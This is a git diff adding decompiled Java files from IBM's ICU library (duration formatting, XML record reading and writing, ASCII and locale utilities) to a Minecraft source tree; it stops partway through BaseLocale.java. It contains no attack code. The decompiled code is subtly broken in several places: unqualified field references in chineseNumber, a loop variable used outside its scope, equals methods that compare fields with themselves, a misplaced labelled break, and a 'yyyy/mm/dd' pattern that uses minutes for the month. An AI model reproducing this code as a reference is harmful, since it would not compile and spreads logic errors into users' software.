diff --git a/src/minecraft/com/ibm/icu/impl/duration/impl/RecordReader.java b/src/minecraft/com/ibm/icu/impl/duration/impl/RecordReader.java
new file mode 100644
index 0000000..16db21c
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/impl/RecordReader.java
@@ -0,0 +1,26 @@
+package com.ibm.icu.impl.duration.impl;
+
+abstract interface RecordReader
+{
+  public abstract boolean open(String paramString);
+  
+  public abstract boolean close();
+  
+  public abstract boolean bool(String paramString);
+  
+  public abstract boolean[] boolArray(String paramString);
+  
+  public abstract char character(String paramString);
+  
+  public abstract char[] characterArray(String paramString);
+  
+  public abstract byte namedIndex(String paramString, String[] paramArrayOfString);
+  
+  public abstract byte[] namedIndexArray(String paramString, String[] paramArrayOfString);
+  
+  public abstract String string(String paramString);
+  
+  public abstract String[] stringArray(String paramString);
+  
+  public abstract String[][] stringTable(String paramString);
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/impl/RecordWriter.java b/src/minecraft/com/ibm/icu/impl/duration/impl/RecordWriter.java
new file mode 100644
index 0000000..e51ff85
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/impl/RecordWriter.java
@@ -0,0 +1,26 @@
+package com.ibm.icu.impl.duration.impl;
+
+abstract interface RecordWriter
+{
+  public abstract boolean open(String paramString);
+  
+  public abstract boolean close();
+  
+  public abstract void bool(String paramString, boolean paramBoolean);
+  
+  public abstract void boolArray(String paramString, boolean[] paramArrayOfBoolean);
+  
+  public abstract void character(String paramString, char paramChar);
+  
+  public abstract void characterArray(String paramString, char[] paramArrayOfChar);
+  
+  public abstract void namedIndex(String paramString, String[] paramArrayOfString, int paramInt);
+  
+  public abstract void namedIndexArray(String paramString, String[] paramArrayOfString, byte[] paramArrayOfByte);
+  
+  public abstract void string(String paramString1, String paramString2);
+  
+  public abstract void stringArray(String paramString, String[] paramArrayOfString);
+  
+  public abstract void stringTable(String paramString, String[][] paramArrayOfString);
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/impl/ResourceBasedPeriodFormatterDataService.java b/src/minecraft/com/ibm/icu/impl/duration/impl/ResourceBasedPeriodFormatterDataService.java
new file mode 100644
index 0000000..50c8996
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/impl/ResourceBasedPeriodFormatterDataService.java
@@ -0,0 +1,153 @@
+package com.ibm.icu.impl.duration.impl;
+
+import com.ibm.icu.impl.ICUData;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.UnsupportedEncodingException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ResourceBasedPeriodFormatterDataService
+  extends PeriodFormatterDataService
+{
+  private Collection<String> availableLocales;
+  private PeriodFormatterData lastData = null;
+  private String lastLocale = null;
+  private Map<String, PeriodFormatterData> cache = new HashMap();
+  
+
+  private static final String PATH = "data/";
+  
+  private static final ResourceBasedPeriodFormatterDataService singleton = new ResourceBasedPeriodFormatterDataService();
+  
+
+
+  public static ResourceBasedPeriodFormatterDataService getInstance()
+  {
+    return singleton;
+  }
+  
+
+
+  private ResourceBasedPeriodFormatterDataService()
+  {
+    List<String> localeNames = new ArrayList();
+    InputStream is = ICUData.getRequiredStream(getClass(), "data/index.txt");
+    try
+    {
+      BufferedReader br = new BufferedReader(new InputStreamReader(is, "UTF-8"));
+      
+      String string = null;
+      while (null != (string = br.readLine())) {
+        string = string.trim();
+        if ((!string.startsWith("#")) && (string.length() != 0))
+        {
+
+          localeNames.add(string); }
+      }
+      br.close();
+    } catch (IOException e) {
+      throw new IllegalStateException("IO Error reading data/index.txt: " + e.toString());
+    }
+    
+    availableLocales = Collections.unmodifiableList(localeNames);
+  }
+  
+  public PeriodFormatterData get(String localeName)
+  {
+    int x = localeName.indexOf('@');
+    if (x != -1) {
+      localeName = localeName.substring(0, x);
+    }
+    
+    synchronized (this) {
+      if ((lastLocale != null) && (lastLocale.equals(localeName))) {
+        return lastData;
+      }
+      
+      PeriodFormatterData ld = (PeriodFormatterData)cache.get(localeName);
+      if (ld == null) {
+        String ln = localeName;
+        while (!availableLocales.contains(ln)) {
+          int ix = ln.lastIndexOf("_");
+          if (ix > -1) {
+            ln = ln.substring(0, ix);
+          } else if (!"test".equals(ln)) {
+            ln = "test";
+          } else {
+            ln = null;
+            break;
+          }
+        }
+        if (ln != null) {
+          String name = "data/pfd_" + ln + ".xml";
+          try {
+            InputStream is = ICUData.getStream(getClass(), name);
+            if (is == null) {
+              throw new MissingResourceException("no resource named " + name, name, "");
+            }
+            
+            DataRecord dr = DataRecord.read(ln, new XMLRecordReader(new InputStreamReader(is, "UTF-8")));
+            
+
+            if (dr != null)
+            {
+
+
+
+
+
+
+
+
+              ld = new PeriodFormatterData(localeName, dr);
+            }
+          }
+          catch (UnsupportedEncodingException e) {
+            throw new MissingResourceException("Unhandled Encoding for resource " + name, name, "");
+          }
+        }
+        else
+        {
+          throw new MissingResourceException("Duration data not found for  " + localeName, "data/", localeName);
+        }
+        
+
+
+
+
+
+        cache.put(localeName, ld);
+      }
+      lastData = ld;
+      lastLocale = localeName;
+      
+      return ld;
+    }
+  }
+  
+  public Collection<String> getAvailableLocales() {
+    return availableLocales;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/impl/Utils.java b/src/minecraft/com/ibm/icu/impl/duration/impl/Utils.java
new file mode 100644
index 0000000..42300c7
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/impl/Utils.java
@@ -0,0 +1,220 @@
+package com.ibm.icu.impl.duration.impl;
+
+import java.util.Locale;
+
+
+
+
+public class Utils
+{
+  public Utils() {}
+  
+  public static final Locale localeFromString(String s)
+  {
+    String language = s;
+    String region = "";
+    String variant = "";
+    
+    int x = language.indexOf("_");
+    if (x != -1) {
+      region = language.substring(x + 1);
+      language = language.substring(0, x);
+    }
+    x = region.indexOf("_");
+    if (x != -1) {
+      variant = region.substring(x + 1);
+      region = region.substring(0, x);
+    }
+    return new Locale(language, region, variant);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String chineseNumber(long n, ChineseDigits zh)
+  {
+    if (n < 0L) {
+      n = -n;
+    }
+    if (n <= 10L) {
+      if (n == 2L) {
+        return String.valueOf(liang);
+      }
+      return String.valueOf(digits[((int)n)]);
+    }
+    
+
+    char[] buf = new char[40];
+    char[] digits = String.valueOf(n).toCharArray();
+    
+
+
+
+    boolean inZero = true;
+    boolean forcedZero = false;
+    int x = buf.length;
+    int i = digits.length;int u = -1;int l = -1; for (;;) { i--; if (i < 0) break;
+      if (u == -1) {
+        if (l != -1) {
+          buf[(--x)] = levels[l];
+          inZero = true;
+          forcedZero = false;
+        }
+        u++;
+      } else {
+        buf[(--x)] = units[(u++)];
+        if (u == 3) {
+          u = -1;
+          l++;
+        }
+      }
+      int d = digits[i] - '0';
+      if (d == 0) {
+        if ((x < buf.length - 1) && (u != 0)) {
+          buf[x] = '*';
+        }
+        if ((inZero) || (forcedZero)) {
+          buf[(--x)] = '*';
+        } else {
+          buf[(--x)] = digits[0];
+          inZero = true;
+          forcedZero = u == 1;
+        }
+      } else {
+        inZero = false;
+        buf[(--x)] = digits[d];
+      }
+    }
+    
+
+
+
+    if (n > 1000000L) {
+      boolean last = true;
+      int i = buf.length - 3;
+      do {
+        if (buf[i] == '0') {
+          break;
+        }
+        i -= 8;
+        last = !last;
+      } while (i > x);
+      
+      i = buf.length - 7;
+      do {
+        if ((buf[i] == digits[0]) && (!last)) {
+          buf[i] = '*';
+        }
+        i -= 8;
+        last = !last;
+      } while (i > x);
+      
+
+      if (n >= 100000000L) {
+        i = buf.length - 8;
+        do {
+          boolean empty = true;
+          int j = i - 1; for (int e = Math.max(x - 1, i - 8); j > e; j--) {
+            if (buf[j] != '*') {
+              empty = false;
+              break;
+            }
+          }
+          if (empty) {
+            if ((buf[(i + 1)] != '*') && (buf[(i + 1)] != digits[0])) {
+              buf[i] = digits[0];
+            } else {
+              buf[i] = '*';
+            }
+          }
+          i -= 8;
+        } while (i > x);
+      }
+    }
+    
+
+    for (int i = x; i < buf.length; i++) {
+      if ((buf[i] == digits[2]) && 
+        ((i >= buf.length - 1) || (buf[(i + 1)] != units[0])) && (
+        (i <= x) || ((buf[(i - 1)] != units[0]) && (buf[(i - 1)] != digits[0]) && (buf[(i - 1)] != '*'))))
+      {
+        buf[i] = liang;
+      }
+    }
+    
+    if ((buf[x] == digits[1]) && ((ko) || (buf[(x + 1)] == units[0]))) {
+      x++;
+    }
+    
+
+    int w = x;
+    for (int r = x; r < buf.length; r++) {
+      if (buf[r] != '*') {
+        buf[(w++)] = buf[r];
+      }
+    }
+    return new String(buf, x, w - x);
+  }
+  
+
+
+  public static class ChineseDigits
+  {
+    final char[] digits;
+    
+
+    final char[] units;
+    
+    final char[] levels;
+    
+    final char liang;
+    
+    final boolean ko;
+    
+
+    ChineseDigits(String digits, String units, String levels, char liang, boolean ko)
+    {
+      this.digits = digits.toCharArray();
+      this.units = units.toCharArray();
+      this.levels = levels.toCharArray();
+      this.liang = liang;
+      this.ko = ko;
+    }
+    
+    public static final ChineseDigits DEBUG = new ChineseDigits("0123456789s", "sbq", "WYZ", 'L', false);
+    
+
+    public static final ChineseDigits TRADITIONAL = new ChineseDigits("零一二三四五六七八九十", "十百千", "萬億兆", '兩', false);
+    
+
+
+
+
+    public static final ChineseDigits SIMPLIFIED = new ChineseDigits("零一二三四五六七八九十", "十百千", "万亿兆", '两', false);
+    
+
+
+
+
+
+
+    public static final ChineseDigits KOREAN = new ChineseDigits("영일이삼사오육칠팔구십", "십백천", "만억?", 51060, true);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/impl/XMLRecordReader.java b/src/minecraft/com/ibm/icu/impl/duration/impl/XMLRecordReader.java
new file mode 100644
index 0000000..5c56d9b
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/impl/XMLRecordReader.java
@@ -0,0 +1,306 @@
+package com.ibm.icu.impl.duration.impl;
+
+import com.ibm.icu.lang.UCharacter;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.io.Reader;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+public class XMLRecordReader
+  implements RecordReader
+{
+  private Reader r;
+  private List<String> nameStack;
+  private boolean atTag;
+  private String tag;
+  
+  public XMLRecordReader(Reader r)
+  {
+    this.r = r;
+    nameStack = new ArrayList();
+    
+
+    if (getTag().startsWith("?xml")) {
+      advance();
+    }
+    
+
+    if (getTag().startsWith("!--")) {
+      advance();
+    }
+  }
+  
+  public boolean open(String title) {
+    if (getTag().equals(title)) {
+      nameStack.add(title);
+      advance();
+      return true;
+    }
+    return false;
+  }
+  
+  public boolean close() {
+    int ix = nameStack.size() - 1;
+    String name = (String)nameStack.get(ix);
+    if (getTag().equals("/" + name)) {
+      nameStack.remove(ix);
+      advance();
+      return true;
+    }
+    return false;
+  }
+  
+  public boolean bool(String name) {
+    String s = string(name);
+    if (s != null) {
+      return "true".equals(s);
+    }
+    return false;
+  }
+  
+  public boolean[] boolArray(String name) {
+    String[] sa = stringArray(name);
+    if (sa != null) {
+      boolean[] result = new boolean[sa.length];
+      for (int i = 0; i < sa.length; i++) {
+        result[i] = "true".equals(sa[i]);
+      }
+      return result;
+    }
+    return null;
+  }
+  
+  public char character(String name) {
+    String s = string(name);
+    if (s != null) {
+      return s.charAt(0);
+    }
+    return 65535;
+  }
+  
+  public char[] characterArray(String name) {
+    String[] sa = stringArray(name);
+    if (sa != null) {
+      char[] result = new char[sa.length];
+      for (int i = 0; i < sa.length; i++) {
+        result[i] = sa[i].charAt(0);
+      }
+      return result;
+    }
+    return null;
+  }
+  
+  public byte namedIndex(String name, String[] names) {
+    String sa = string(name);
+    if (sa != null) {
+      for (int i = 0; i < names.length; i++) {
+        if (sa.equals(names[i])) {
+          return (byte)i;
+        }
+      }
+    }
+    return -1;
+  }
+  
+  public byte[] namedIndexArray(String name, String[] names) {
+    String[] sa = stringArray(name);
+    if (sa != null) {
+      byte[] result = new byte[sa.length];
+      label77: for (int i = 0; i < sa.length; i++) {
+        String s = sa[i];
+        for (int j = 0; j < names.length; j++) {
+          if (names[j].equals(s)) {
+            result[i] = ((byte)j);
+            break label77;
+          }
+        }
+        result[i] = -1;
+      }
+      return result;
+    }
+    return null;
+  }
+  
+  public String string(String name) {
+    if (match(name)) {
+      String result = readData();
+      if (match("/" + name)) {
+        return result;
+      }
+    }
+    return null;
+  }
+  
+  public String[] stringArray(String name) {
+    if (match(name + "List")) {
+      List<String> list = new ArrayList();
+      String s;
+      while (null != (s = string(name))) {
+        if ("Null".equals(s)) {
+          s = null;
+        }
+        list.add(s);
+      }
+      if (match("/" + name + "List")) {
+        return (String[])list.toArray(new String[list.size()]);
+      }
+    }
+    return null;
+  }
+  
+  public String[][] stringTable(String name) {
+    if (match(name + "Table")) {
+      List<String[]> list = new ArrayList();
+      String[] sa;
+      while (null != (sa = stringArray(name))) {
+        list.add(sa);
+      }
+      if (match("/" + name + "Table")) {
+        return (String[][])list.toArray(new String[list.size()][]);
+      }
+    }
+    return (String[][])null;
+  }
+  
+  private boolean match(String target) {
+    if (getTag().equals(target))
+    {
+      advance();
+      return true;
+    }
+    return false;
+  }
+  
+  private String getTag() {
+    if (tag == null) {
+      tag = readNextTag();
+    }
+    return tag;
+  }
+  
+  private void advance() {
+    tag = null;
+  }
+  
+  private String readData() {
+    StringBuilder sb = new StringBuilder();
+    boolean inWhitespace = false;
+    for (;;)
+    {
+      int c = readChar();
+      if ((c == -1) || (c == 60)) {
+        atTag = (c == 60);
+        break;
+      }
+      if (c == 38) {
+        c = readChar();
+        if (c == 35) {
+          StringBuilder numBuf = new StringBuilder();
+          int radix = 10;
+          c = readChar();
+          if (c == 120) {
+            radix = 16;
+            c = readChar();
+          }
+          while ((c != 59) && (c != -1)) {
+            numBuf.append((char)c);
+            c = readChar();
+          }
+          try {
+            int num = Integer.parseInt(numBuf.toString(), radix);
+            c = (char)num;
+          } catch (NumberFormatException ex) {
+            System.err.println("numbuf: " + numBuf.toString() + " radix: " + radix);
+            
+            throw ex;
+          }
+        } else {
+          StringBuilder charBuf = new StringBuilder();
+          while ((c != 59) && (c != -1)) {
+            charBuf.append((char)c);
+            c = readChar();
+          }
+          String charName = charBuf.toString();
+          if (charName.equals("lt")) {
+            c = 60;
+          } else if (charName.equals("gt")) {
+            c = 62;
+          } else if (charName.equals("quot")) {
+            c = 34;
+          } else if (charName.equals("apos")) {
+            c = 39;
+          } else if (charName.equals("amp")) {
+            c = 38;
+          } else {
+            System.err.println("unrecognized character entity: '" + charName + "'");
+            
+            continue;
+          }
+        }
+      }
+      
+      if (UCharacter.isWhitespace(c)) {
+        if (inWhitespace) {
+          continue;
+        }
+        c = 32;
+        inWhitespace = true;
+      } else {
+        inWhitespace = false;
+      }
+      sb.append((char)c);
+    }
+    
+    return sb.toString();
+  }
+  
+  private String readNextTag() {
+    int c = 0;
+    while (!atTag) {
+      c = readChar();
+      if ((c == 60) || (c == -1)) {
+        if (c == 60) {
+          atTag = true;
+        }
+        
+      }
+      else if (!UCharacter.isWhitespace(c)) {
+        System.err.println("Unexpected non-whitespace character " + Integer.toHexString(c));
+      }
+    }
+    
+
+
+    if (atTag) {
+      atTag = false;
+      StringBuilder sb = new StringBuilder();
+      for (;;) {
+        c = readChar();
+        if ((c == 62) || (c == -1)) {
+          break;
+        }
+        sb.append((char)c);
+      }
+      
+      return sb.toString();
+    }
+    return null;
+  }
+  
+  int readChar() {
+    try {
+      return r.read();
+    }
+    catch (IOException e) {}
+    
+    return -1;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/impl/XMLRecordWriter.java b/src/minecraft/com/ibm/icu/impl/duration/impl/XMLRecordWriter.java
new file mode 100644
index 0000000..315e368
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/impl/XMLRecordWriter.java
@@ -0,0 +1,247 @@
+package com.ibm.icu.impl.duration.impl;
+
+import com.ibm.icu.lang.UCharacter;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.io.Writer;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+public class XMLRecordWriter
+  implements RecordWriter
+{
+  private Writer w;
+  private List<String> nameStack;
+  static final String NULL_NAME = "Null";
+  private static final String INDENT = "    ";
+  
+  public XMLRecordWriter(Writer w)
+  {
+    this.w = w;
+    nameStack = new ArrayList();
+  }
+  
+  public boolean open(String title) {
+    newline();
+    writeString("<" + title + ">");
+    nameStack.add(title);
+    return true;
+  }
+  
+  public boolean close() {
+    int ix = nameStack.size() - 1;
+    if (ix >= 0) {
+      String name = (String)nameStack.remove(ix);
+      newline();
+      writeString("</" + name + ">");
+      return true;
+    }
+    return false;
+  }
+  
+  public void flush() {
+    try {
+      w.flush();
+    }
+    catch (IOException e) {}
+  }
+  
+  public void bool(String name, boolean value) {
+    internalString(name, String.valueOf(value));
+  }
+  
+  public void boolArray(String name, boolean[] values) {
+    if (values != null) {
+      String[] stringValues = new String[values.length];
+      for (int i = 0; i < values.length; i++) {
+        stringValues[i] = String.valueOf(values[i]);
+      }
+      stringArray(name, stringValues);
+    }
+  }
+  
+  private static String ctos(char value) {
+    if (value == '<') {
+      return "&lt;";
+    }
+    if (value == '&') {
+      return "&amp;";
+    }
+    return String.valueOf(value);
+  }
+  
+  public void character(String name, char value) {
+    if (value != 65535) {
+      internalString(name, ctos(value));
+    }
+  }
+  
+  public void characterArray(String name, char[] values) {
+    if (values != null) {
+      String[] stringValues = new String[values.length];
+      for (int i = 0; i < values.length; i++) {
+        char value = values[i];
+        if (value == 65535) {
+          stringValues[i] = "Null";
+        } else {
+          stringValues[i] = ctos(value);
+        }
+      }
+      internalStringArray(name, stringValues);
+    }
+  }
+  
+  public void namedIndex(String name, String[] names, int value) {
+    if (value >= 0) {
+      internalString(name, names[value]);
+    }
+  }
+  
+  public void namedIndexArray(String name, String[] names, byte[] values) {
+    if (values != null) {
+      String[] stringValues = new String[values.length];
+      for (int i = 0; i < values.length; i++) {
+        int value = values[i];
+        if (value < 0) {
+          stringValues[i] = "Null";
+        } else {
+          stringValues[i] = names[value];
+        }
+      }
+      internalStringArray(name, stringValues);
+    }
+  }
+  
+  public static String normalize(String str) {
+    if (str == null) {
+      return null;
+    }
+    StringBuilder sb = null;
+    boolean inWhitespace = false;
+    char c = '\000';
+    boolean special = false;
+    for (int i = 0; i < str.length(); i++) {
+      c = str.charAt(i);
+      if (UCharacter.isWhitespace(c)) {
+        if ((sb == null) && ((inWhitespace) || (c != ' '))) {
+          sb = new StringBuilder(str.substring(0, i));
+        }
+        if (inWhitespace) {
+          continue;
+        }
+        inWhitespace = true;
+        special = false;
+        c = ' ';
+      } else {
+        inWhitespace = false;
+        special = (c == '<') || (c == '&');
+        if ((special) && (sb == null)) {
+          sb = new StringBuilder(str.substring(0, i));
+        }
+      }
+      if (sb != null) {
+        if (special) {
+          sb.append(c == '<' ? "&lt;" : "&amp;");
+        } else {
+          sb.append(c);
+        }
+      }
+    }
+    if (sb != null)
+    {
+
+
+
+      return sb.toString();
+    }
+    return str;
+  }
+  
+  private void internalString(String name, String normalizedValue) {
+    if (normalizedValue != null) {
+      newline();
+      writeString("<" + name + ">" + normalizedValue + "</" + name + ">");
+    }
+  }
+  
+  private void internalStringArray(String name, String[] normalizedValues) {
+    if (normalizedValues != null) {
+      push(name + "List");
+      for (int i = 0; i < normalizedValues.length; i++) {
+        String value = normalizedValues[i];
+        if (value == null) {
+          value = "Null";
+        }
+        string(name, value);
+      }
+      pop();
+    }
+  }
+  
+  public void string(String name, String value) {
+    internalString(name, normalize(value));
+  }
+  
+  public void stringArray(String name, String[] values) {
+    if (values != null) {
+      push(name + "List");
+      for (int i = 0; i < values.length; i++) {
+        String value = normalize(values[i]);
+        if (value == null) {
+          value = "Null";
+        }
+        internalString(name, value);
+      }
+      pop();
+    }
+  }
+  
+  public void stringTable(String name, String[][] values) {
+    if (values != null) {
+      push(name + "Table");
+      for (int i = 0; i < values.length; i++) {
+        String[] rowValues = values[i];
+        if (rowValues == null) {
+          internalString(name + "List", "Null");
+        } else {
+          stringArray(name, rowValues);
+        }
+      }
+      pop();
+    }
+  }
+  
+  private void push(String name) {
+    newline();
+    writeString("<" + name + ">");
+    nameStack.add(name);
+  }
+  
+  private void pop() {
+    int ix = nameStack.size() - 1;
+    String name = (String)nameStack.remove(ix);
+    newline();
+    writeString("</" + name + ">");
+  }
+  
+  private void newline() {
+    writeString("\n");
+    for (int i = 0; i < nameStack.size(); i++) {
+      writeString("    ");
+    }
+  }
+  
+  private void writeString(String str) {
+    if (w != null) {
+      try {
+        w.write(str);
+      }
+      catch (IOException e) {
+        System.err.println(e.getMessage());
+        w = null;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/impl/YMDDateFormatter.java b/src/minecraft/com/ibm/icu/impl/duration/impl/YMDDateFormatter.java
new file mode 100644
index 0000000..90090f1
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/impl/YMDDateFormatter.java
@@ -0,0 +1,98 @@
+package com.ibm.icu.impl.duration.impl;
+
+import com.ibm.icu.impl.duration.DateFormatter;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Locale;
+import java.util.TimeZone;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class YMDDateFormatter
+  implements DateFormatter
+{
+  private String requestedFields;
+  private String localeName;
+  private TimeZone timeZone;
+  private SimpleDateFormat df;
+  
+  public YMDDateFormatter(String requestedFields)
+  {
+    this(requestedFields, Locale.getDefault().toString(), TimeZone.getDefault());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public YMDDateFormatter(String requestedFields, String localeName, TimeZone timeZone)
+  {
+    this.requestedFields = requestedFields;
+    this.localeName = localeName;
+    this.timeZone = timeZone;
+    
+    Locale locale = Utils.localeFromString(localeName);
+    df = new SimpleDateFormat("yyyy/mm/dd", locale);
+    df.setTimeZone(timeZone);
+  }
+  
+
+
+
+  public String format(long date)
+  {
+    return format(new Date(date));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public String format(Date date)
+  {
+    return df.format(date);
+  }
+  
+
+
+  public DateFormatter withLocale(String locName)
+  {
+    if (!locName.equals(localeName)) {
+      return new YMDDateFormatter(requestedFields, locName, timeZone);
+    }
+    return this;
+  }
+  
+
+
+  public DateFormatter withTimeZone(TimeZone tz)
+  {
+    if (!tz.equals(timeZone)) {
+      return new YMDDateFormatter(requestedFields, localeName, tz);
+    }
+    return this;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/locale/AsciiUtil.java b/src/minecraft/com/ibm/icu/impl/locale/AsciiUtil.java
new file mode 100644
index 0000000..640b0a4
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/locale/AsciiUtil.java
@@ -0,0 +1,183 @@
+package com.ibm.icu.impl.locale;
+
+
+public final class AsciiUtil
+{
+  public AsciiUtil() {}
+  
+
+  public static boolean caseIgnoreMatch(String s1, String s2)
+  {
+    if (s1 == s2) {
+      return true;
+    }
+    int len = s1.length();
+    if (len != s2.length()) {
+      return false;
+    }
+    int i = 0;
+    while (i < len) {
+      char c1 = s1.charAt(i);
+      char c2 = s2.charAt(i);
+      if ((c1 != c2) && (toLower(c1) != toLower(c2))) {
+        break;
+      }
+      i++;
+    }
+    return i == len;
+  }
+  
+  public static int caseIgnoreCompare(String s1, String s2) {
+    if (s1 == s2) {
+      return 0;
+    }
+    return toLowerString(s1).compareTo(toLowerString(s2));
+  }
+  
+  public static char toUpper(char c)
+  {
+    if ((c >= 'a') && (c <= 'z')) {
+      c = (char)(c - ' ');
+    }
+    return c;
+  }
+  
+  public static char toLower(char c) {
+    if ((c >= 'A') && (c <= 'Z')) {
+      c = (char)(c + ' ');
+    }
+    return c;
+  }
+  
+  public static String toLowerString(String s) {
+    for (int idx = 0; 
+        idx < s.length(); idx++) {
+      char c = s.charAt(idx);
+      if ((c >= 'A') && (c <= 'Z')) {
+        break;
+      }
+    }
+    if (idx == s.length()) {
+      return s;
+    }
+    StringBuilder buf = new StringBuilder(s.substring(0, idx));
+    for (; idx < s.length(); idx++) {
+      buf.append(toLower(s.charAt(idx)));
+    }
+    return buf.toString();
+  }
+  
+  public static String toUpperString(String s) {
+    for (int idx = 0; 
+        idx < s.length(); idx++) {
+      char c = s.charAt(idx);
+      if ((c >= 'a') && (c <= 'z')) {
+        break;
+      }
+    }
+    if (idx == s.length()) {
+      return s;
+    }
+    StringBuilder buf = new StringBuilder(s.substring(0, idx));
+    for (; idx < s.length(); idx++) {
+      buf.append(toUpper(s.charAt(idx)));
+    }
+    return buf.toString();
+  }
+  
+  public static String toTitleString(String s) {
+    if (s.length() == 0) {
+      return s;
+    }
+    int idx = 0;
+    char c = s.charAt(idx);
+    if ((c < 'a') || (c > 'z')) {
+      for (idx = 1; idx < s.length(); idx++) {
+        if ((c >= 'A') && (c <= 'Z')) {
+          break;
+        }
+      }
+    }
+    if (idx == s.length()) {
+      return s;
+    }
+    StringBuilder buf = new StringBuilder(s.substring(0, idx));
+    if (idx == 0) {
+      buf.append(toUpper(s.charAt(idx)));
+      idx++;
+    }
+    for (; idx < s.length(); idx++) {
+      buf.append(toLower(s.charAt(idx)));
+    }
+    return buf.toString();
+  }
+  
+  public static boolean isAlpha(char c) {
+    return ((c >= 'A') && (c <= 'Z')) || ((c >= 'a') && (c <= 'z'));
+  }
+  
+  public static boolean isAlphaString(String s) {
+    boolean b = true;
+    for (int i = 0; i < s.length(); i++) {
+      if (!isAlpha(s.charAt(i))) {
+        b = false;
+        break;
+      }
+    }
+    return b;
+  }
+  
+  public static boolean isNumeric(char c) {
+    return (c >= '0') && (c <= '9');
+  }
+  
+  public static boolean isNumericString(String s) {
+    boolean b = true;
+    for (int i = 0; i < s.length(); i++) {
+      if (!isNumeric(s.charAt(i))) {
+        b = false;
+        break;
+      }
+    }
+    return b;
+  }
+  
+  public static boolean isAlphaNumeric(char c) {
+    return (isAlpha(c)) || (isNumeric(c));
+  }
+  
+  public static boolean isAlphaNumericString(String s) {
+    boolean b = true;
+    for (int i = 0; i < s.length(); i++) {
+      if (!isAlphaNumeric(s.charAt(i))) {
+        b = false;
+        break;
+      }
+    }
+    return b;
+  }
+  
+  public static class CaseInsensitiveKey {
+    private String _key;
+    private int _hash;
+    
+    public CaseInsensitiveKey(String key) {
+      _key = key;
+      _hash = AsciiUtil.toLowerString(key).hashCode();
+    }
+    
+    public boolean equals(Object o) {
+      if (this == o) {
+        return true;
+      }
+      if ((o instanceof CaseInsensitiveKey)) {
+        return AsciiUtil.caseIgnoreMatch(_key, _key);
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return _hash;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/locale/BaseLocale.java b/src/minecraft/com/ibm/icu/impl/locale/BaseLocale.java
new file mode 100644
index 0000000..ad2e65a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/locale/BaseLocale.java
@@ -0,0 +1,256 @@
+package com.ibm.icu.impl.locale;
+
+
+
+
+
+public final class BaseLocale
+{
+  private static final boolean JDKIMPL = false;
+  
+
+
+  public static final String SEP = "_";
+  
+
+
+  private static final Cache CACHE = new Cache();
+  public static final BaseLocale ROOT = getInstance("", "", "", "");
+  
+  private String _language = "";
+  private String _script = "";
+  private String _region = "";
+  private String _variant = "";
+  
+  private volatile transient int _hash = 0;
+  
+  private BaseLocale(String language, String script, String region, String variant) {
+    if (language != null) {
+      _language = AsciiUtil.toLowerString(language).intern();
+    }
+    if (script != null) {
+      _script = AsciiUtil.toTitleString(script).intern();
+    }
+    if (region != null) {
+      _region = AsciiUtil.toUpperString(region).intern();
+    }
+    if (variant != null)
+    {
+
+
+
+      _variant = AsciiUtil.toUpperString(variant).intern();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static BaseLocale getInstance(String language, String script, String region, String variant)
+  {
+    Key key = new Key(language, script, region, variant);
+    BaseLocale baseLocale = (BaseLocale)CACHE.get(key);
+    return baseLocale;
+  }
+  
+  public String getLanguage() {
+    return _language;
+  }
+  
+  public String getScript() {
+    return _script;
+  }
+  
+  public String getRegion() {
+    return _region;
+  }
+  
+  public String getVariant() {
+    return _variant;
+  }
+  
+  public boolean equals(Object obj) {
+    if (this == obj) {
+      return true;
+    }
+    if (!(obj instanceof BaseLocale)) {
+      return false;
+    }
+    BaseLocale other = (BaseLocale)obj;
+    return (hashCode() == other.hashCode()) && (_language.equals(_language)) && (_script.equals(_script)) && (_region.equals(_region)) && (_variant.equals(_variant));
+  }
+  
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    if (_language.length() > 0) {
+      buf.append("language=");
+      buf.append(_language);
+    }
+    if (_script.length() > 0) {
+      if (buf.length() > 0) {
+        buf.append(", ");
+      }
+      buf.append("script=");
+      buf.append(_script);
+    }
+    if (_region.length() > 0) {
+      if (buf.length() > 0) {
+        buf.append(", ");
+      }
+      buf.append("region=");
+      buf.append(_region);
+    }
+    if (_variant.length() > 0) {
+      if (buf.length() > 0) {
+        buf.append(", ");
+      }
+      buf.append("variant=");
+      buf.append(_variant);
+    }
+    return buf.toString();
+  }
+  
+  public int hashCode() {
+    int h = _hash;
+    if (h == 0)
+    {
+      for (int i = 0; i < _language.length(); i++) {
+        h = 31 * h + _language.charAt(i);
+      }
+      for (int i = 0; i < _script.length(); i++) {
+        h = 31 * h + _script.charAt(i);
+      }
